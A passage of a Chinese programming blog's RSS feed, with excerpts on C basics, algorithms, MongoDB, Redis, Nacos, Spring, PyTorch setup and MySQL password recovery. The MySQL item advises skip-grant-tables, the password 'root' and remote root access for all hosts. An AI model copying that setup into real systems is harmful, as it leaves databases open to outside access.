      <description>#include &amp;lt;stdio.h&amp;gt; /*if 语句 * if(条件表达式) * {//复合语句，若干条件语句的结合 * 语句1； * 语句2； * } */ int main() { // //形式1，只有if // //首先判断if后买你括号里面的表达式是否为真，如果为真则执行大括号里面的语句，反之则不执行 int n=50; int m=40; // if(n&amp;gt;=50){ // printf(&#34;%d&amp;gt;=50\n&#34;,n); // } // if(m&amp;gt;=50){ // printf(&#34;%d&amp;gt;=50\n&#34;,n); // } // //形式2，if else语句 // //首先判断if后买你括号里面的表达式是否为真，如果为真则执行大括号里面的语句，反之则执行else大括号里面的语句 // //注意如果if和else后面只有一条语句后面可以不加大括号，如果有多条语句，必须加大括号，否则else找不到与之最近的if编译会报错 // if(n&amp;gt;=50) // { // printf(&#34;%d&amp;gt;=50\n&#34;,n); // }else { // printf(&#34;%d&amp;lt;50\n&#34;,n); // } // if(m&amp;gt;=50) // { // printf(&#34;%d&amp;gt;=50\n&#34;,m); // }else { // printf(&#34;%d&amp;lt;50\n&#34;,m); // } //形式3，if() else if() else if().</description>
    </item>
    <item>
      <title>PTA 编程题 -- 最大公约数和最小公倍数</title>
      <link>https://bchobby.github.io/posts/0dae97f27e2cd0e5bf442f8847d4a0c3/</link>
      <pubDate>Thu, 28 Sep 2023 12:17:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dae97f27e2cd0e5bf442f8847d4a0c3/</guid>
      <description>本题要求两个给定正整数的最大公约数和最小公倍数。&#xA;输入格式: 输入在一行中给出两个正整数M和N（≤1000）。&#xA;输出格式: 在一行中顺序输出M和N的最大公约数和最小公倍数，两数字间以1空格分隔。&#xA;输入样例: 511 292 输出样例: 73 2044 思路：求最大公约数的方法，目前来说最好的就是辗转相除法，也叫欧几里得算法（Euclidean Algorithm）。&#xA;例如，要计算15和24的最大公约数，首先让把较大的数赋值给p,把较小的数赋值给q，p=24,q=15;&#xA;然后计算p,q的余数，即r=p%q，显然如果r==0了，q就是能整除p的从而最大公约数就是q。如果r!=0，那么可以推导出p,q的最大公因子一定等于q,r的最大公因子。&#xA;于是从新赋值p=q,q=r, 并重复上面的步骤，直到r==0为止，这时的q就是，原p,q的最大公因子。&#xA;至于最小公倍数，它显然就是两数乘机除以最大公约数。&#xA;代码1：&#xA;int main () { int M,N,p,q,r; scanf(&#34;%d %d&#34;, &amp;amp;M, &amp;amp;N); p = M&amp;gt;N? M:N; // p是较大的 q = M&amp;gt;N? N:M; // q是较小的 r = p%q; // r是余数 // 以下代码就是小学奥数(或者初等数论)里讲的辗转相除法，也叫欧几里得算法（Euclidean Algorithm） while (r &amp;gt; 0) { p = q; q = r; r = p%q; } // 最后一个非零的余数r,就是M,N的最大公约数 printf(&#34;%d %d&#34;, q, M*N/q); // 最小公倍数就是两数之积除以最大公约数 return 0; } 代码2：通常我们会把求最大公因子的代码写成一个函数，就像下面这样</description>
    </item>
    <item>
      <title>window.print()打印及出现的问题</title>
      <link>https://bchobby.github.io/posts/1002b5d21aafde93ead4d97fee099f9c/</link>
      <pubDate>Thu, 28 Sep 2023 11:10:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1002b5d21aafde93ead4d97fee099f9c/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;transition name=&#34;el-zoom-in-center&#34;&amp;gt; &amp;lt;div class=&#34;JNPF-preview-main&#34;&amp;gt; &amp;lt;div class=&#34;JNPF-common-page-header&#34;&amp;gt; &amp;lt;el-page-header @back=&#34;goBack&#34; :content=&#34;&#39;打印通知书&#39;&#34; /&amp;gt; &amp;lt;div class=&#34;options&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;print()&#34;&amp;gt; 打 印 &amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div v-loading=&#34;loading&#34;&amp;gt; &amp;lt;div ref=&#34;print&#34;&amp;gt; &amp;lt;div style=&#34;width: 90%; margin: 30px auto 0 auto;font-size:18px&#34;&amp;gt; &amp;lt;h1 style=&#34;text-align: center;font-size: 34px;letter-spacing:20px&#34;&amp;gt;催收函&amp;lt;/h1&amp;gt; &amp;lt;h2&amp;gt;&amp;amp;nbsp;&amp;lt;/h2&amp;gt; 致：{{list.customerName}} &amp;lt;div style=&#34;float: right; margin-top: 50px&#34;&amp;gt; &amp;lt;div style=&#34;float: right;&#34;&amp;gt; &amp;lt;p&amp;gt;{{ formatDate() }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/transition&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import request from &#34;@/utils/request&#34;; import {formatToMoney, formatToNum} from &#39;@/utils&#39; export default { data() { return { id: &#34;</description>
    </item>
    <item>
      <title>Java把Base64编码格式的图片下载到本地指定文件夹下</title>
      <link>https://bchobby.github.io/posts/40dd2a01428c610761ae290bdd08076e/</link>
      <pubDate>Thu, 28 Sep 2023 11:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40dd2a01428c610761ae290bdd08076e/</guid>
      <description>import com.alibaba.fastjson.JSONObject; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import sun.misc.BASE64Decoder; import java.io.*; import java.util.Collections; import java.util.List; import java.util.Properties; public class KafkaConsumer extends ShutdownableThread { private static final Logger LOG = LoggerFactory.getLogger(KafkaConsumer.class); public static void main(String[] args) { // 图片base64字符串 String img = &#34;&#34;; Properties properties = getProperties(); String filePath = properties.getProperty(&#34;file.path&#34;); filePath = filePath.replace(&#34;\\&#34;, &#34;\\\\&#34;); String xm = &#34;张三&#34;; String idCard = &#34;360111&#34;; try { boolean f = downloadImg(img, filePath, xm, idCard); if (f) { LOG.</description>
    </item>
    <item>
      <title>python mongodb数据查询</title>
      <link>https://bchobby.github.io/posts/04442848cfd4ea9e7dc7cd9b9482d94c/</link>
      <pubDate>Thu, 28 Sep 2023 09:11:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04442848cfd4ea9e7dc7cd9b9482d94c/</guid>
      <description>要在Python中执行MongoDB查询，需要使用MongoDB的官方Python驱动程序——PyMongo。首先，您需要安装PyMongo，然后连接到MongoDB数据库，执行查询操作。&#xA;安装PyMongo： pip install pymongo 使用PyMongo连接到MongoDB import pymongo # 连接到MongoDB数据库 client = pymongo.MongoClient(&#34;mongodb://localhost:27017/&#34;) # MongoDB连接字符串 # 选择数据库 db = client[&#34;mydatabase&#34;] # 数据库名称 # 选择集合（MongoDB中的集合类似于表） collection = db[&#34;mycollection&#34;] #集合名称 如果MongoDB需要用户名和密码进行身份验证，请使用PyMongo的MongoClient构造函数提供这些凭据来连接到数据库。以下是一个示例：&#xA;import pymongo # MongoDB连接信息 mongodb_host = &#34;localhost&#34; # MongoDB主机地址 mongodb_port = 27017 # 替换为MongoDB端口 mongodb_username = &#34;your_username&#34; # MongoDB用户名 mongodb_password = &#34;your_password&#34; # MongoDB密码 mongodb_database = &#34;your_database&#34; # 数据库名称 # 创建MongoDB客户端并连接 client = pymongo.MongoClient(f&#34;mongodb://{mongodb_username}:{mongodb_password}@{mongodb_host}:{mongodb_port}/&#34;) # 选择数据库 db = client[mongodb_database] # 选择集合 collection = db[&#34;</description>
    </item>
    <item>
      <title>常用排序算法时间与空间复杂度</title>
      <link>https://bchobby.github.io/posts/d16249f9ddbdb55dd70823c96aaad697/</link>
      <pubDate>Thu, 28 Sep 2023 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d16249f9ddbdb55dd70823c96aaad697/</guid>
      <description>常用排序算法 常用的排序算法有多种，它们的时间和空间复杂度可以根据算法类型进行比较。以下是一些常见的排序算法的时间和空间复杂度对比：&#xA;冒泡排序 (Bubble Sort)： 时间复杂度：O(n^2)空间复杂度：O(1)&#xA;冒泡排序是一种简单的比较排序算法，它通过多次迭代来比较相邻的元素并交换它们，将最大（或最小）的元素逐渐“冒泡”到正确的位置。在最坏情况下，时间复杂度为O(n^2)，其中n是元素的数量。空间复杂度是O(1)，因为它只需要少量的额外空间用于交换。 选择排序 (Selection Sort)： 时间复杂度：O(n^2)&#xA;空间复杂度：O(1)&#xA;选择排序是另一种简单的比较排序算法，它不断地选择剩余元素中的最小（或最大）元素并将其放在已排序的部分。时间复杂度为O(n^2)，空间复杂度为O(1)。&#xA;插入排序 (Insertion Sort)： 时间复杂度：O(n^2)空间复杂度：O(1)&#xA;插入排序将元素逐个插入到已排序的部分，将未排序部分的元素逐渐移动到正确的位置。时间复杂度为O(n^2)，空间复杂度为O(1)。 快速排序 (Quick Sort)： 时间复杂度：O(n log n) 平均情况，O(n^2) 最坏情况空间复杂度：O(log n)&#xA;快速排序是一种分而治之的排序算法，它的平均时间复杂度为O(n log n)，但在最坏情况下可能达到O(n^2)。它的空间复杂度为O(log n)，因为它使用递归调用的堆栈空间。 归并排序 (Merge Sort)： 时间复杂度：O(n log n)空间复杂度：O(n)&#xA;归并排序也是一种分而治之的排序算法，它的时间复杂度始终为O(n log n)，但它需要额外的O(n)空间来存储临时数组。 堆排序 (Heap Sort)： 时间复杂度：O(n log n)空间复杂度：O(1)&#xA;堆排序使用二叉堆数据结构来进行排序，其时间复杂度为O(n log n)，空间复杂度为O(1)。 计数排序 (Counting Sort)： 时间复杂度：O(n + k)，其中k是范围内的元素数量空间复杂度：O(n + k)&#xA;计数排序适用于元素范围较小的情况，其时间复杂度为O(n + k)，其中k是范围内的元素数量。空间复杂度为O(n + k)，因为它需要一个计数数组来存储元素出现的频率。 总结：不同排序算法具有不同的时间和空间复杂度特征，因此在选择排序算法时需要考虑数据规模和性质。&#xA;在平均情况下，快速排序、归并排序和堆排序通常是性能最好的排序算法，其时间复杂度为O(n log n)。&#xA;冒泡排序、选择排序和插入排序适用于小规模数据或在某些情况下。&#xA;计数排序适用于元素范围有限的情况，它的性能可以达到线性时间。</description>
    </item>
    <item>
      <title>常用的查找算法时间和空间复杂的对比</title>
      <link>https://bchobby.github.io/posts/5df8acbdbeb352a60aecddf59cc76648/</link>
      <pubDate>Thu, 28 Sep 2023 08:53:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5df8acbdbeb352a60aecddf59cc76648/</guid>
      <description>以下是常用的查找算法的时间和空间复杂度对比，并附带了Python代码示例：&#xA;线性查找 (Linear Search)： 时间复杂度：O(n)空间复杂度：O(1) def linear_search(arr, target): for i in range(len(arr)): if arr[i] == target: return i # 找到目标元素的索引 return -1 # 目标元素不存在 # 示例用法 arr = [3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5] target = 4 result = linear_search(arr, target) print(f&#34;目标元素 {target} 在数组中的索引为: {result}&#34;) 二分查找 (Binary Search)： 时间复杂度：O(log n)空间复杂度：O(1) def binary_search(arr, target): left, right = 0, len(arr) - 1 while left &amp;lt;= right: mid = (left + right) // 2 if arr[mid] == target: return mid # 找到目标元素的索引 elif arr[mid] &amp;lt; target: left = mid + 1 else: right = mid - 1 return -1 # 目标元素不存在 # 注意：数组必须是有序的 arr = [1, 2, 3, 4, 5, 6, 7, 8, 9] target = 4 result = binary_search(arr, target) print(f&#34;</description>
    </item>
    <item>
      <title>c语言中自增自减运算符</title>
      <link>https://bchobby.github.io/posts/4b7a1b76e63b087508e0256f2413f1af/</link>
      <pubDate>Wed, 27 Sep 2023 21:00:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b7a1b76e63b087508e0256f2413f1af/</guid>
      <description> #include &amp;lt;stdio.h&amp;gt; //自增自减运算符 int main() { //将++或者--放在变量的后面 //先使用，后自增或者自减 int a=100; int b; b = a++; printf(&#34;a=%d,b=%d\n&#34;,a,b); //将++或者--放在变量的前面 //先自增或者自减，后使用 int c; c = ++a; printf(&#34;a=%d,c=%d\n&#34;,a,c); return 0; } </description>
    </item>
    <item>
      <title>9月27日作业</title>
      <link>https://bchobby.github.io/posts/0828e5495ab7a413f788396a99dddedd/</link>
      <pubDate>Wed, 27 Sep 2023 20:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0828e5495ab7a413f788396a99dddedd/</guid>
      <description>1、&#xA;推演部分&#xA;程序验算部分&#xA;2、&#xA;#include&amp;lt;file.h&amp;gt;表示直接在系统库文件中查找该头文件&#xA;#include“file.h”表示现在当前目录下找头文件，如果找不到再在系统库文件中查找&#xA;3、&#xA;程序验证</description>
    </item>
    <item>
      <title>基于大语言模型扬长避短架构服务</title>
      <link>https://bchobby.github.io/posts/bd3af2ba9a58f30256c9868db7069913/</link>
      <pubDate>Wed, 27 Sep 2023 20:02:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd3af2ba9a58f30256c9868db7069913/</guid>
      <description>秘诀：&#xA;扬泛化之长，&#xA;避时延之短</description>
    </item>
    <item>
      <title>Navicat 连接MySQL出现1045-Access denied for user ‘root‘@‘localhost‘已解决</title>
      <link>https://bchobby.github.io/posts/a81504907e622d21432a14604a623f5c/</link>
      <pubDate>Wed, 27 Sep 2023 19:45:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a81504907e622d21432a14604a623f5c/</guid>
      <description>转载: 原文链接：https://blog.csdn.net/li_wen_jin/article/details/103806171&#xA;出现这种情况可能是密码错误或者未授权&#xA;步骤概括&#xA;1、找到mysql配置文件，/etc/my.cnf ，在配置文件加入skip-grant-tables，然后重启mysql服务即可生效&#xA;2、免密登录mysql，修改密码，重新重启mysql&#xA;5.7 之前版本：update user set password = password(&#39;root&#39;) where user=&#39;root&#39;; 5.7及之后版本：update user set authentication_string = password(&#39;root&#39;) where user=&#39;root&#39;; 3、授权&#xA;grant all privileges on *.* to &#39;root&#39;@&#39;%&#39; identified by &#39;root&#39;; flush privileges; 详细步骤&#xA;1、找到mysql配置文件，/etc/my.cnf ，在配置文件加入skip-grant-tables&#xA;2、重启mysql服务即可生效&#xA;systemctl restart mysqld.service //重启mysql服务&#xA;systemctl status mysqld.service //查看mysql状态&#xA;systemctl stop mysqld.service //停止mysql服务&#xA;3、进入mysql，修改mysql密码&#xA;mysql -uroot -p&#xA;不用输入密码，直接回车，即可进入mysql命令界面&#xA;首先进入表mysql use mysql&#xA;修改密码：这里要根据版本来执行不同的SQL语句了，因为版本不同，存储密码的字段可能不相同。5.7以前的版本可以用以下语句更新root密码：&#xA;update user set password = password(‘root’) where user=‘root’;</description>
    </item>
    <item>
      <title>Java实现文件上传和下载的方法详解</title>
      <link>https://bchobby.github.io/posts/93b15e01888ad1c483c38b1ce662c0eb/</link>
      <pubDate>Wed, 27 Sep 2023 12:02:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93b15e01888ad1c483c38b1ce662c0eb/</guid>
      <description>文件上传，也称为upload，是指将本地图片、视频、音频等文件上传到服务器上。文件下载，也称为download，是指将文件从服务器传输到本地计算机的过程。本文将用Java实现文件上传和下载，需要的可以参考一下&#xA;1、文件上传&#xA;1.1 介绍&#xA;文件上传，也称为upload，是指将本地图片、视频、音频等文件上传到服务器上，可以供其他用户浏览或下载的过程。文件上传在项目中应用非常广泛，我们经常发微博、发微信朋友圈都用到了文件上传功能。&#xA;文件上传时，对页面的form表单有如下要求：&#xA;表单属性 取值 说明&#xA;method post 必须选择post方式提交&#xA;enctype multipart/form-data 采用multipart格式上传文件&#xA;type file 使用input的file控件上传&#xA;举例：&#xA;&amp;lt;form method=&#34;post&#34; action=&#34;https://bchobby.github.io/common/upload&#34; enctype=&#34;multipart/form-data&#34;&amp;gt; &amp;lt;input name=&#34;myFile&#34; type=&#34;file&#34; /&amp;gt; &amp;lt;input type=&#34;submit&#34; value=&#34;提交&#34; /&amp;gt; &amp;lt;/form&amp;gt; 目前一些前端组件库也提供了相应的上传组件,例如Element-ui，但是底层原理还是基于form表单的文件上传。&#xA;1.2 代码实现&#xA;这里我主要实现后端代码，对于前端页面，可以使用ElementUI提供的上传组件。&#xA;1、application.yml&#xA;首先我们需要在yml 文件里 配置一下文件存储路径。&#xA;2、Controller&#xA;然后我们就可以编写上传文件的Controller。&#xA;编写文件上传的方法, 通过MultipartFile类型的参数即可接收上传的文件, 方法形参的名称需要与页面的file域的name属性一致。&#xA;package com.jie.reggjie.controller; import com.jie.reggjie.common.R; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; /** * 文件上传和下载 */ @RestController @RequestMapping(&#34;/common&#34;) @Slf4j public class CommonController { @Value(&#34;</description>
    </item>
    <item>
      <title>Mumu 等不支持 Hyper-V 的模拟器关闭 Hyper-V 后无法重新启用的解决方案</title>
      <link>https://bchobby.github.io/posts/6e1c44b4ab425a6cdca09139e0369399/</link>
      <pubDate>Wed, 27 Sep 2023 09:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e1c44b4ab425a6cdca09139e0369399/</guid>
      <description> 最近在使用 Mumu 模拟器时，被要求关闭 Hyper-V，在软件内关闭后 WSL 无法使用，查看了 Mumu 的说明，目前该模拟器不支持与 Hyper-V 共存&#xA;卸载该模拟器后尝试重新打开 Hyper-V 发现并不能正常使用&#xA;找了一些资料，使用以下命令可以恢复&#xA;bcdedit /set hypervisorlaunchtype auto </description>
    </item>
    <item>
      <title>Python实现互斥锁解决redis缓存雪崩的问题</title>
      <link>https://bchobby.github.io/posts/0908135b2fb26bc90b8d877f22ecfff1/</link>
      <pubDate>Wed, 27 Sep 2023 09:22:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0908135b2fb26bc90b8d877f22ecfff1/</guid>
      <description>1、缓存雪崩 说明：redis中大量的key同时过期，导致请求大量访问数据库，数据库压力激增。&#xA;2、解决方案： 均匀设置过期时间使用互斥锁 3、互斥锁实现 import redis import time # 创建Redis连接 redis_client = redis.Redis(host=&#39;localhost&#39;, port=6379, db=0) def get_data_from_cache(key): # 尝试从缓存中获取数据 data = redis_client.get(key) if data is None: # 缓存中没有数据，需要重新生成 # 获取互斥锁的名称 lock_key = f&#34;{key}:lock&#34; # 尝试获取互斥锁 acquired_lock = redis_client.set(lock_key, &#39;locked&#39;, nx=True, ex=10) # nx=True表示只有当锁不存在时才会设置成功，ex=10表示锁的过期时间为10秒 if acquired_lock: # 获取到了互斥锁，生成数据并设置到缓存中 data = generate_data_fromdb() redis_client.set(key, data, ex=60) # 设置缓存数据的过期时间为60秒 # 释放互斥锁 redis_client.delete(lock_key) else: # 未获取到互斥锁，先走缓存 time.sleep(0.1) data = redis_client.get(key) if not data: data = generate_data_fromdb() redis_client.</description>
    </item>
    <item>
      <title>Nacos服务注册和配置中心</title>
      <link>https://bchobby.github.io/posts/ca0aa48a317fdc6b25a321be06aa7e20/</link>
      <pubDate>Wed, 27 Sep 2023 08:54:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca0aa48a317fdc6b25a321be06aa7e20/</guid>
      <description>Nacos服务注册和配置中心 简介 Nacos 前两个字母分别是Naming和Configuration的前两个字母，最后s为Service&#xA;官网地址：https://nacos.io/zh-cn/&#xA;GitHub：https://github.com/alibaba/nacos&#xA;Spring Cloud Alibaba Reference Documentation&#xA;Nacos：Eureka+Confg+Bus&#xA;Nacos 的关键特性包括:&#xA;服务发现和服务健康监测动态配置服务动态 DNS 服务服务及其元数据管理 安装 所有版本地址:https://github.com/alibaba/nacos/releases&#xA;nacos-server-1.4.4.zip下载链接https://github.com/alibaba/nacos/releases/download/1.4.4/nacos-server-1.4.4.zip&#xA;下载解压，进入/bin，命令行输入。&#xA;startup -m standalone 访问界面http://127.0.0.1:8848/nacos/&#xA;一般pom文件 &amp;lt;dependencies&amp;gt; &amp;lt;!--SpringCloud ailibaba nacos --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- SpringBoot整合Web组件 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--日常通用jar包配置--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 测试Demo application.yml server: port: 9001 spring: application: name: nacos-payment-provider cloud: nacos: discovery: server-addr: localhost:8848 #配置Nacos地址 management: endpoints: web: exposure: include: &#39;*&#39; Main.</description>
    </item>
    <item>
      <title>雪花算法案例</title>
      <link>https://bchobby.github.io/posts/a286d02a9c185ac3736488815614dc0a/</link>
      <pubDate>Wed, 27 Sep 2023 08:50:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a286d02a9c185ac3736488815614dc0a/</guid>
      <description>雪花算法 “雪花算法”（Snowflake Algorithm）是一种用于生成唯一ID的算法。它之所以被称为“雪花算法”，是因为它的ID格式和雪花的形状有些相似。&#xA;雪花算法的主要目标是生成一个全局唯一的ID，用于在分布式系统中标识不同的数据元素或对象。这些ID通常包含了时间戳、机器节点ID和序列号等信息。雪花算法中的时间戳精确到毫秒级，机器节点ID用于在多台机器上唯一标识，序列号保证了在同一毫秒内生成的ID的唯一性。&#xA;雪花算法的设计理念是简单高效，生成的ID具有趋势递增的特点，方便数据库索引和查询优化。它被广泛应用于分布式系统中，例如在大规模的数据存储、消息队列、分布式锁等方面。&#xA;public class SnowflakeIdGenerator { // 起始的时间戳，用于计算时间戳部分 private final static long START_TIMESTAMP = 1632585600000L; // 这里以2021-09-26 00:00:00为起始时间 // 分别占用位数 private final static long SEQUENCE_BITS = 12; // 序列号占用的位数 private final static long MACHINE_ID_BITS = 5; // 机器标识占用的位数 private final static long DATA_CENTER_ID_BITS = 5; // 数据中心占用的位数 // 每部分的最大值 private final static long MAX_SEQUENCE = ~(-1L &amp;lt;&amp;lt; SEQUENCE_BITS); private final static long MAX_MACHINE_ID = ~(-1L &amp;lt;&amp;lt; MACHINE_ID_BITS); private final static long MAX_DATA_CENTER_ID = ~(-1L &amp;lt;&amp;lt; DATA_CENTER_ID_BITS); // 每部分向左的位移 private final static long MACHINE_ID_SHIFT = SEQUENCE_BITS; private final static long DATA_CENTER_ID_SHIFT = SEQUENCE_BITS + MACHINE_ID_BITS; private final static long TIMESTAMP_SHIFT = SEQUENCE_BITS + MACHINE_ID_BITS + DATA_CENTER_ID_BITS; private long dataCenterId; // 数据中心ID private long machineId; // 机器标识ID private long sequence = 0L; // 序列号 private long lastTimestamp = -1L; // 上次生成ID的时间戳 public SnowflakeIdGenerator(long dataCenterId, long machineId) { if (dataCenterId &amp;gt; MAX_DATA_CENTER_ID || dataCenterId &amp;lt; 0) { throw new IllegalArgumentException(&#34;</description>
    </item>
    <item>
      <title>This application has no explicit mapping for /error, so you are seeing this as a fallback.</title>
      <link>https://bchobby.github.io/posts/a77b19e12fa1e76b7bd28db985a84325/</link>
      <pubDate>Tue, 26 Sep 2023 15:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a77b19e12fa1e76b7bd28db985a84325/</guid>
      <description>最近在写SpringBoot和vue连接的时候，发现通过前端调用后端始终报错，报错如下：&#xA;1、在查找并调整包括注解注入方法、axios调参、测试等等网上给出的诸多方面的方法后，发现是数据库中字段与entity中的属性数据库类型不同。数据库中是Integer[]，而entity中是Integer，因此出现过好几次以下错误：&#xA;org.postgresql.util.PSQLException：不良的类型值 int：｛0｝ ；不良的类型值 int：｛0｝；&#xA;之前一直没当回事，因为数据库连接是正常的，结果在查了这句话的意思之后才肯定是数据库的问题，在修改属性数据类型为Integer[]后，成功！&#xA;2、并且，当我的controller类前有@RequestMapping(“/a”)，同时类中的方法前有@GetMapping(“/b”)时，是没办法在前端页面调用方法的，当删掉@RequestMapping(“/”)后就可以正常运行。&#xA;哦，原来得加上RequestMapping(“/a”)的父路径就可以了，hhh5555，怪我把注解给忘得差不多了。</description>
    </item>
    <item>
      <title>KF32A学习笔记（一）：工程导入、编译烧录方法（KF32 IDE&#43; KF32 PRO）</title>
      <link>https://bchobby.github.io/posts/7a20d2646e9091090b04aa05ca3c0e65/</link>
      <pubDate>Tue, 26 Sep 2023 13:27:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a20d2646e9091090b04aa05ca3c0e65/</guid>
      <description>目录 概述KF32 IDE打开现有项目工程1.工程导入2.编译工程3.下载程序 KF32 PRO 概述 本文主要是对KF32A150芯片程序的编译、烧录方法进行说明。针对开发过程中的编译烧录和无代码情况下的烧录两种场景，需要安装ChipON PRO KF32和ChipON IDE KF32两个上位机工具，安装包可以在芯旺微电子官网（https://www.chipon-ic.com/)获取。&#xA;两个软件安装后，在桌面共用一个图标：&#xA;双击启动后，在弹出的窗口选择要启动哪一个工具：&#xA;下面对两个软件分开进行介绍。&#xA;KF32 IDE 打开现有项目工程 在项目文件夹下双击启动软件：&#xA;显示未归属于项目空间&#xA;点击确定之后，会根据项目路径E:\01.4G_V2X\E10_APP，默认：&#xA;确定之后是空的：&#xA;需要导入工程。&#xA;1.工程导入 1.进入ChipON IDE开发界面如下：&#xA;2.此时还没有打开工程，需要导入一下。文件 - 导入：&#xA;3.常规 - 现有项目到工作空间中：&#xA;4.选择路径后，会自动识别出项目，选中即可（取消默认勾选的将项目复制到工作空间中）：&#xA;2.编译工程 1.电脑连接KF32-LINK-A调试编程器后，在ChipON IDE中进行识别。正确识别到编程器，在控制台会有对应的信息输出：&#xA;2.点击锤子图标即可进行编译，在控制台可以看到编译信息：&#xA;3.程序编译成功，没有错误时，控制台显示如下：&#xA;3.下载程序 程序编译成功后，点击下载进行烧录。下载成功如下图：&#xA;KF32 PRO 电脑连接KF32-LINK-A调试编程器情况下，打开时会自动识别编程器，也可以通过点击右上角的齿轮图标进行手动识别。软件界面如下：&#xA;1.选择芯片型号&#xA;根据使用的MCU型号，在下拉框中进行选择：&#xA;2.加载烧写文件&#xA;3.烧录文件</description>
    </item>
    <item>
      <title>anaconda安装pytorch-GPU版本（python3.7）</title>
      <link>https://bchobby.github.io/posts/37c8508dea70abe8df863c0191ba6c0b/</link>
      <pubDate>Tue, 26 Sep 2023 11:35:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37c8508dea70abe8df863c0191ba6c0b/</guid>
      <description> anaocnda安装pytoch-GPU版本（解决：默认CPU版本安装） 文章目录 anaocnda安装pytoch-GPU版本（解决：默认CPU版本安装）一、总体步骤规划二、查看cuda版本三、确定并下载pytorch、torchaudio以及torchversion对应版本安装文件1、确定torch版本及下载安装文件2、确定torchvision版本及下载安装文件3、确定torchaudio的版本及下载安装文件 四、在anaconda中安装对应whl文件五、测试安装成功谢谢!!!!! 一、总体步骤规划 1、确定电脑的cuda版本。&#xA;2、确定python的版本。&#xA;3、确定要下载的pytorch版本，torchaudio版本，以及torchvision版本&#xA;4、下载对应版本的whl镜像安装文件。&#xA;5、在anaconda prompt中激活环境，按顺序安装对应的whl文件。&#xA;6、测试是否安装成功。&#xA;注：本次教程下载torch1.10.1版本，cuda10.2版本，python3.7.4版本。&#xA;二、查看cuda版本 快捷键win+R，输入cmd，回车。&#xA;在命令行中输入nvidia-smi&#xA;可以看到，本机的CUDA Version是11.6版本，所以在选择torch+cuda版本时，要注意，必须小于11.6.&#xA;三、确定并下载pytorch、torchaudio以及torchversion对应版本安装文件 注意：以python3.7版本，window系统为例。&#xA;1、确定torch版本及下载安装文件 打开网址https://download.pytorch.org/whl/cu102&#xA;点击torch，可以看到很多版本torch的whl安装文件。&#xA;按快捷键ctrl+f，搜索cu102-cp37（表示cuda10.2版本，python3.7版本），寻找合适的安装文件。&#xA;这里我们选择torch1.10.1版本，cuda10.2版本，python3.7版本&#xA;点击下载即可。&#xA;注：如果下载速度过慢，建议改换手机热点进行下载，速度很快。&#xA;2、确定torchvision版本及下载安装文件 打开网址https://pytorch.org/get-started/previous-versions/&#xA;找到下载的torch版本对应的torchvision版本。&#xA;如torch1.10.1对应的torchvision版本为0.11.2。&#xA;打开网址https://download.pytorch.org/whl/cu102选择torchversion&#xA;点击进入，同理ctrl+f搜索“cu102-cp37”，点击下载该版本的torchversion&#xA;3、确定torchaudio的版本及下载安装文件 